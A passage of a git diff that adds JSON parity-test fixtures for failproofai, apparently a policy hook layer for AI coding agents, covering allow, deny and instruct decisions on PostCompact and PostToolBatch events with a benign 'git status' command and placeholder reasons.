"PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d34bac76 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4c932f1d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a326d8cd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3ec15116 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..998a1089 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bdd1e7f0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..786c14d4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..92b4a3a0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..835a1219 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..61651186 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0944fd89 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..690dccfc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..889bd853 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b0d83800 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d3a0729f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5c7123c0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4097c974 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..56a8b9ec --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..59882ebb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": 